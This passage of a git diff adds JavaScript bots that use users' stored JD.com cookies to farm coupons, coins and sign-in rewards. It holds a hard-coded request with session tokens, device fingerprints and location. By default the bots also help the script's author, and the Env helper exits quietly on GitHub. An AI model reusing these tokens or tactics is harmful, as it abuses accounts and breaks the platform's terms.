"body=%7B%22activityId%22%3A%223H885vA4sQj6ctYzzPVix4iiYN2P%22%2C%22scene%22%3A%221%22%2C%22args%22%3A%22key%3DC1DEFD3C0396EDFC8215ACBF751C4620F0395465605CF9442326408CFB8A4F9825E83CD6C2B86F8929CB2F1095FB610F_bingo%2CroleId%3D23E2CB5340B5C6BEDF23627C434572F9_bingo%2CstrengthenKey%3D7234093DC9375F51DDB7D38147D7AD82EAEB0938B43AC37CCC32084DCB1D132207FDC1750C14EF7DD076988CA8C71BC4_bingo%22%2C%22platform%22%3A%221%22%2C%22orgType%22%3A%222%22%2C%22openId%22%3A%22-1%22%2C%22pageClickKey%22%3A%22-1%22%2C%22eid%22%3A%22EI7EMAW4ZLYP7BA2NPR3ZRDMA62D4SQSQ4OOFANS47F4GEBK2DN3LPSAVISERLPHUS75YZCZUXNDFNIQKRL6PXLHCE%22%2C%22fp%22%3A%220d25c19cc7ce1c852ad50183553c7cfe%22%2C%22shshshfp%22%3A%223622d575f3839e6ba16b0239c83567c5%22%2C%22shshshfpa%22%3A%22f62b6f85-ed1a-19a9-a983-5386fd853f3e-1633620784%22%2C%22shshshfpb%22%3A%22s5ANXcvD4c4lgaATnZ%2Fdzaw%3D%3D%22%2C%22childActivityUrl%22%3A%22https%253A%252F%252Fprodev.m.jd.com%252Fjdlite%252Factive%252F3H885vA4sQj6ctYzzPVix4iiYN2P%252Findex.html%253Flng%253D106.476367%2526lat%253D29.502914%2526sid%253Dfbc43764317f538b90e0f9ab43c8285w%2526un_area%253D4_50952_106_0%22%2C%22userArea%22%3A%22-1%22%2C%22client%22%3A%22-1%22%2C%22clientVersion%22%3A%22-1%22%2C%22uuid%22%3A%22-1%22%2C%22osVersion%22%3A%22-1%22%2C%22brand%22%3A%22-1%22%2C%22model%22%3A%22-1%22%2C%22networkType%22%3A%22-1%22%2C%22jda%22%3A%22122270672.16425253116601960425755.1642525311.1644803500.1644803556.160%22%2C%22sdkToken%22%3A%22%22%2C%22token%22%3A%22NP7KXWSKCPPCSE2KMRATB42RKR3PT3B5WW5MWJXE2JPJPKJMCGTQFGM6UVN6VY2XTLJAMOHMWQRFC%22%2C%22jstub%22%3A%22UZ625TL7NA35Q5AUO6YVSLI4SBF7UJQLFNQJFDA7G6BRNRZPD2HUPLOO65HNMSHXX7YNA62PFDEULVB7UMV7SM76HXORSWUGNJMA3IA%22%2C%22pageClick%22%3A%22Babel_Coupon%22%2C%22couponSource%22%3A%22manual%22%2C%22couponSourceDetail%22%3A%22-100%22%2C%22channel%22%3A%22%E9%80%9A%E5%A4%A9%E5%A1%94%E4%BC%9A%E5%9C%BA%22%2C%22headArea%22%3A%22605715ec560d6508f7403b91b677d79c%22%2C%22sceId%22%3A%22TTTh5%22%2C%22rstr%22%3A%2229463958%22%2C%22sstr%22%3A%221644804028555~1fR7teXPatEMDF4TnlzdzAxMQ%3D%3D.SXhNR09IeklCRk1%2BTw0HS3grQCIJBTMbCUliTl9BVH8HQQlJMApGNjYWGgUzTC1NHxAZDy0dLVcqAxIARXMH.32bbefe8~6%2C1~DE99009AC329C084289942FF81223D8AFE3987BC~1n1vrke~C~SBtGWxYPbWkdEUdXXxQObhRQAB4GbB5yehkCbGcfRhVGFBgXUgEcCnIVdnIYAAFzHQMdCQMDGEEUGBNXBBQLdxhxchgECgAVAhgEBAMYRRFuFRBRRlsUDgcfEUpBFA4XBwIFBwsJBgYGBAECBQYBDQoUGBdBUVURCRtGQkBBQlJEVREVEEFRVBQOE1VVTUZCQEBXFh0RQ11cFA5uBQQdCwQAHgcMGQEYAB8GZB4UXl8UDgIfEVpBFA4XBgUEC1FcBQ9QBwQDBAEHClFQUgIHAAMBVQEAVVYCAFATHxFXQhQOF19kWVxdXBAaFkEUDgAFBw0KBgAFBAwEBgYVEFxfFwwWUBEfG1RGVhcMFkIGcndqVUJxAlcFX1RYc2JabxlQS1JEBA8UGBdYQhMJEXhCRlhQFndeXkNMRlNGGRZ9X1AdGx4UWlRAFgsRAggDBxYZFEdSQREDaQEHAxoAAAduFRBEWxcMbxNaY1FdWFENGgYTHxFQfWUWGRQFBR0LGx4UBxsOGgMRHxsDBwUEFBgTUlEAVFANDQcEBVBSCFYGUQwAAgJVVggAVAMFA1dQAwcJU1AGBwBRUhEfG1MUaRkUXV5SEQMQUFJTUFJXR0cbHhRVXxQOE0YRFRBVXRcMFkYAHQ0cBRYZFFdXbEUbCBQEBBQYE1FXGwgURlRYUF5eDgsLAgIGDwEJER8bX1wWD20FAh8DFQJrGBdUWF5UEQMQVxYZFFlCVBEDEFcWSA%3D%3D~0a73lnr%22%2C%22mitemAddrId%22%3A%22%22%2C%22geo%22%3A%7B%22lng%22%3A%22106.476367%22%2C%22lat%22%3A%2229.502914%22%7D%2C%22addressId%22%3A%22%22%2C%22posLng%22%3A%22%22%2C%22posLat%22%3A%22%22%2C%22focus%22%3A%22%22%2C%22innerAnchor%22%3A%22%22%2C%22cv%22%3A%222.0%22%7D&screen=1242*2016&client=wh5&clientVersion=1.0.0&sid=fbc43764317f538b90e0f9ab43c8285w&uuid=16425253116601960425755.56.1644804021838&area=4_50952_106_0" + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_superMarket.js b/jd_superMarket.js new file mode 100644 index 0000000..4aa1ca2 --- /dev/null +++ b/jd_superMarket.js @@ -0,0 +1,1753 @@ +/* +东东超市 +Last Modified time: 2021-3-4 21:22:37 +活动入口:京东APP首页-京东超市-底部东东超市 +Some Functions Modified From https://github.com/Zero-S1/JD_tools/blob/master/JD_superMarket.py +东东超市兑换奖品请使用此脚本 jd_blueCoin.js +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +=================QuantumultX============== +[task_local] +#东东超市 +11 * * * * jd_superMarket.js, tag=东东超市, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxc.png, enabled=true +===========Loon=============== +[Script] +cron "11 * * * *" script-path=jd_superMarket.js,tag=东东超市 +=======Surge=========== +东东超市 = type=cron,cronexp="11 * * * *",wake-system=1,timeout=3600,script-path=jd_superMarket.js +==============小火箭============= +东东超市 = type=cron,script-path=jd_superMarket.js, cronexpr="11 * * * *", timeout=3600, enable=true + */ +const $ = new Env('东东超市'); +//Node.js用户请在jdCookie.js处填写京东ck; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', jdSuperMarketShareArr = [], notify, newShareCodes; +let helpAu = true;//给作者助力 免费拿,省钱大赢家等活动.默认true是,false不助力. +helpAu = $.isNode() ? (process.env.HELP_AUTHOR ? process.env.HELP_AUTHOR === 'true' : helpAu) : helpAu; +let jdNotify = true;//用来是否关闭弹窗通知,true表示关闭,false表示开启。 +let superMarketUpgrade = true;//自动升级,顺序:解锁升级商品、升级货架,true表示自动升级,false表示关闭自动升级 +let businessCircleJump = true;//小于对方300热力值自动更换商圈队伍,true表示运行,false表示禁止 +let drawLotteryFlag = false;//是否用500蓝币去抽奖,true表示开启,false表示关闭。默认关闭 +let joinPkTeam = true;//是否自动加入PK队伍 +let message = '', subTitle; +const JD_API_HOST = 'https://api.m.jd.com/api'; + +//助力好友分享码 +//此此内容是IOS用户下载脚本到本地使用,填写互助码的地方,同一京东账号的好友互助码请使用@符号隔开。 +//下面给出两个账号的填写示例(iOS只支持2个京东账号) +let shareCodes = [] + +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.coincount = 0;//收取了多少个蓝币 + $.coinerr = ""; + $.blueCionTimes = 0; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + //await shareCodesFormat();//格式化助力码 + await jdSuperMarket(); + await showMsg(); + // await businessCircleActivity(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdSuperMarket() { + try { + await smtgHome(); + // await receiveGoldCoin();//收金币 + // await businessCircleActivity();//商圈活动 + await receiveBlueCoin();//收蓝币(小费) + // await receiveLimitProductBlueCoin();//收限时商品的蓝币 + await daySign();//每日签到 + await BeanSign()// + await doDailyTask();//做日常任务,分享,关注店铺, + // await help();//商圈助力 + //await smtgQueryPkTask();//做商品PK任务 + await drawLottery();//抽奖功能(招财进宝) + // await myProductList();//货架 + // await upgrade();//升级货架和商品 + // await manageProduct(); + // await limitTimeProduct(); + await smtg_shopIndex(); + await smtgHome(); + await receiveUserUpgradeBlue(); + await Home(); + if (helpAu === true) { + await helpAuthor(); + } + } catch (e) { + $.logErr(e) + } +} +function showMsg() { + $.log(`【京东账号${$.index}】${$.nickName}\n${message}`); + jdNotify = $.getdata('jdSuperMarketNotify') ? $.getdata('jdSuperMarketNotify') : jdNotify; + if (!jdNotify || jdNotify === 'false') { + $.msg($.name, subTitle ,`【京东账号${$.index}】${$.nickName}\n${message}`); + } +} +//抽奖功能(招财进宝) +async function drawLottery() { + console.log(`\n注意⚠:东东超市抽奖已改版,花费500蓝币抽奖一次,现在脚本默认已关闭抽奖功能\n`); + drawLotteryFlag = $.getdata('jdSuperMarketLottery') ? $.getdata('jdSuperMarketLottery') : drawLotteryFlag; + if ($.isNode() && process.env.SUPERMARKET_LOTTERY) { + drawLotteryFlag = process.env.SUPERMARKET_LOTTERY; + } + if (`${drawLotteryFlag}` === 'true') { + const smtg_lotteryIndexRes = await smtg_lotteryIndex(); + if (smtg_lotteryIndexRes && smtg_lotteryIndexRes.data.bizCode === 0) { + const { result } = smtg_lotteryIndexRes.data + if (result.blueCoins > result.costCoins && result.remainedDrawTimes > 0) { + const drawLotteryRes = await smtg_drawLottery(); + console.log(`\n花费${result.costCoins}蓝币抽奖结果${JSON.stringify(drawLotteryRes)}`); + await drawLottery(); + } else { + console.log(`\n抽奖失败:已抽奖或者蓝币不足`); + console.log(`失败详情:\n现有蓝币:${result.blueCoins},抽奖次数:${result.remainedDrawTimes}`) + } + } + } else { + console.log(`设置的为不抽奖\n`) + } +} +async function help() { + return + console.log(`\n开始助力好友`); + for (let code of newShareCodes) { + if (!code) continue; + const res = await smtgDoAssistPkTask(code); + console.log(`助力好友${JSON.stringify(res)}`); + } +} +async function doDailyTask() { + const smtgQueryShopTaskRes = await smtgQueryShopTask(); + if (smtgQueryShopTaskRes.code === 0 && smtgQueryShopTaskRes.data.success) { + const taskList = smtgQueryShopTaskRes.data.result.taskList; + console.log(`\n日常赚钱任务 完成状态`) + for (let item of taskList) { + console.log(` ${item['title'].length < 4 ? item['title']+`\xa0` : item['title'].slice(-4)} ${item['finishNum'] === item['targetNum'] ? '已完成':'未完成'} ${item['finishNum']}/${item['targetNum']}`) + } + for (let item of taskList) { + //领奖 + if (item.taskStatus === 1 && item.prizeStatus === 1) { + const res = await smtgObtainShopTaskPrize(item.taskId); + console.log(`\n领取做完任务的奖励${JSON.stringify(res)}\n`) + } + //做任务 + if ((item.type === 1 || item.type === 11) && item.taskStatus === 0) { + // 分享任务 + const res = await smtgDoShopTask(item.taskId); + console.log(`${item.subTitle}结果${JSON.stringify(res)}`) + } + if (item.type === 2) { + //逛会场 + if (item.taskStatus === 0) { + console.log('开始逛会场') + const itemId = item.content[item.type].itemId; + const res = await smtgDoShopTask(item.taskId, itemId); + console.log(`${item.subTitle}结果${JSON.stringify(res)}`); + } + } + if (item.type === 8) { + //关注店铺 + if (item.taskStatus === 0) { + console.log('开始关注店铺') + const itemId = item.content[item.type].itemId; + const res = await smtgDoShopTask(item.taskId, itemId); + console.log(`${item.subTitle}结果${JSON.stringify(res)}`); + } + } + if (item.type === 9) { + //开卡领蓝币任务 + if (item.taskStatus === 0) { + console.log('开始开卡领蓝币任务') + const itemId = item.content[item.type].itemId; + const res = await smtgDoShopTask(item.taskId, itemId); + console.log(`${item.subTitle}结果${JSON.stringify(res)}`); + } + } + if (item.type === 10) { + //关注商品领蓝币 + if (item.taskStatus === 0) { + console.log('关注商品') + const itemId = item.content[item.type].itemId; + const res = await smtgDoShopTask(item.taskId, itemId); + console.log(`${item.subTitle}结果${JSON.stringify(res)}`); + } + } + if ((item.type === 8 || item.type === 2 || item.type === 10) && item.taskStatus === 0) { + // await doDailyTask(); + } + } + } +} +async function receiveGoldCoin() { + const options = taskUrl("smtg_newHome", { + "shareId": "", + "channel": "4", + }); + $.get(options, (err, resp, data) => {}); + $.goldCoinData = await smtgReceiveCoin({"type":0}); + if ($.goldCoinData.data && $.goldCoinData.data.bizCode === 0) { + console.log(`领取金币成功:${$.goldCoinData.data.result.receivedGold}`); + message += `【领取金币】${$.goldCoinData.data.result.receivedGold}个\n`; + } else { + console.log($.goldCoinData.data && $.goldCoinData.data.bizMsg); + } +} + +function smtgHome() { + return new Promise((resolve) => { + const options = taskUrl("smtg_newHome", { + "shareId": "", + "channel": "4", + }); + $.get(options, (err, resp, data) => {}); + $.get(taskUrl("smtg_newHome", {"shopType":"0","channel":"18"}), (err, resp, data) => { + try { + if (err) { + console.log("\n东东超市: API查询请求失败 ‼️‼️"); + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + if (data.code === 0 && data.data.success) { + const { result } = data.data; + const { + shopName, + totalBlue, + userUpgradeBlueVos, + turnoverProgress, + currentShopId + } = result; + $.currentShopId = currentShopId + $.userUpgradeBlueVos = userUpgradeBlueVos; + $.turnoverProgress = turnoverProgress; + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//领限时商品的蓝币 +async function receiveLimitProductBlueCoin() { + const res = await smtgReceiveCoin({ "type": 1 }); + console.log(`\n限时商品领蓝币结果:[${res.data.bizMsg}]\n`); + if (res.data.bizCode === 0) { + message += `【限时商品】获得${res.data.result.receivedBlue}个蓝币\n`; + } +} + +//领蓝币 +function receiveBlueCoin(timeout = 0) { + return new Promise((resolve) => { + setTimeout( ()=>{ + $.get(taskUrl('smtg_receiveCoin', {"type": 4, "shopId": $.currentShopId, "channel": "18"}), async (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + $.data = data; + if ($.data.data.bizCode !== 0 && $.data.data.bizCode !== 809) { + $.coinerr = `${$.data.data.bizMsg}`; + message += `【收取小费】${$.data.data.bizMsg}\n`; + console.log(`收取蓝币失败:${$.data.data.bizMsg}`) + return + } + if ($.data.data.bizCode === 0) { + $.coincount += $.data.data.result.receivedBlue; + $.blueCionTimes ++; + console.log(`【京东账号${$.index}】${$.nickName} 第${$.blueCionTimes}次领蓝币成功,获得${$.data.data.result.receivedBlue}个\n`) + if (!$.data.data.result.isNextReceived) { + message += `【收取小费】${$.coincount}个\n`; + return + } + } + await receiveBlueCoin(3000); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + },timeout) + }) +} +async function daySign() { + const signDataRes = await smtgSign({"shareId":"QcSH6BqSXysv48bMoRfTBz7VBqc5P6GodDUBAt54d8598XAUtNoGd4xWVuNtVVwNO1dSKcoaY3sX_13Z-b3BoSW1W7NnqD36nZiNuwrtyO-gXbjIlsOBFpgIPMhpiVYKVAaNiHmr2XOJptu14d8uW-UWJtefjG9fUGv0Io7NwAQ","channel":"4"}); + await smtgSign({"shareId":"TBj0jH-x7iMvCMGsHfc839Tfnco6UarNx1r3wZVIzTZiLdWMRrmoocTbXrUOFn0J6UIir16A2PPxF50_Eoo7PW_NQVOiM-3R16jjlT20TNPHpbHnmqZKUDaRajnseEjVb-SYi6DQqlSOioRc27919zXTEB6_llab2CW2aDok36g","channel":"4"}); + if (signDataRes && signDataRes.code === 0) { + const signList = await smtgSignList(); + if (signList.data.bizCode === 0) { + $.todayDay = signList.data.result.todayDay; + } + if (signDataRes.code === 0 && signDataRes.data.success) { + message += `【第${$.todayDay}日签到】成功,奖励${signDataRes.data.result.rewardBlue}蓝币\n` + } else { + message += `【第${$.todayDay}日签到】${signDataRes.data.bizMsg}\n` + } + } +} +async function BeanSign() { + const beanSignRes = await smtgSign({"channel": "1"}); + if (beanSignRes && beanSignRes.data['bizCode'] === 0) { + console.log(`每天从指定入口进入游戏,可获得额外奖励:${JSON.stringify(beanSignRes)}`) + } +} +//每日签到 +function smtgSign(body) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_sign', body), async (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 商圈活动 +async function businessCircleActivity() { + // console.log(`\n商圈PK奖励,次日商圈大战开始的时候自动领领取\n`) + joinPkTeam = $.isNode() ? (process.env.JOIN_PK_TEAM ? process.env.JOIN_PK_TEAM : `${joinPkTeam}`) : ($.getdata('JOIN_PK_TEAM') ? $.getdata('JOIN_PK_TEAM') : `${joinPkTeam}`); + const smtg_getTeamPkDetailInfoRes = await smtg_getTeamPkDetailInfo(); + if (smtg_getTeamPkDetailInfoRes && smtg_getTeamPkDetailInfoRes.data.bizCode === 0) { + const { joinStatus, pkStatus, inviteCount, inviteCode, currentUserPkInfo, pkUserPkInfo, prizeInfo, pkActivityId, teamId } = smtg_getTeamPkDetailInfoRes.data.result; + console.log(`\njoinStatus:${joinStatus}`); + console.log(`pkStatus:${pkStatus}\n`); + console.log(`pkActivityId:${pkActivityId}\n`); + + if (joinStatus === 0) { + if (joinPkTeam === 'true') { + console.log(`\n注:PK会在每天的七点自动随机加入作者创建的队伍\n`) + await updatePkActivityIdCDN('https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jd_updateTeam.json'); + console.log(`\nupdatePkActivityId[pkActivityId]:::${$.updatePkActivityIdRes && $.updatePkActivityIdRes.pkActivityId}`); + console.log(`\n京东服务器返回的[pkActivityId] ${pkActivityId}`); + if ($.updatePkActivityIdRes && ($.updatePkActivityIdRes.pkActivityId === pkActivityId)) { + await getTeam(); + let Teams = [] + Teams = $.updatePkActivityIdRes['Teams'] || Teams; + if ($.getTeams && $.getTeams.length) { + Teams = [...Teams, ...$.getTeams.filter(item => item['pkActivityId'] === `${pkActivityId}`)]; + } + const randomNum = randomNumber(0, Teams.length); + + const res = await smtg_joinPkTeam(Teams[randomNum] && Teams[randomNum].teamId, Teams[randomNum] && Teams[randomNum].inviteCode, pkActivityId); + if (res && res.data.bizCode === 0) { + console.log(`加入战队成功`) + } else if (res && res.data.bizCode === 229) { + 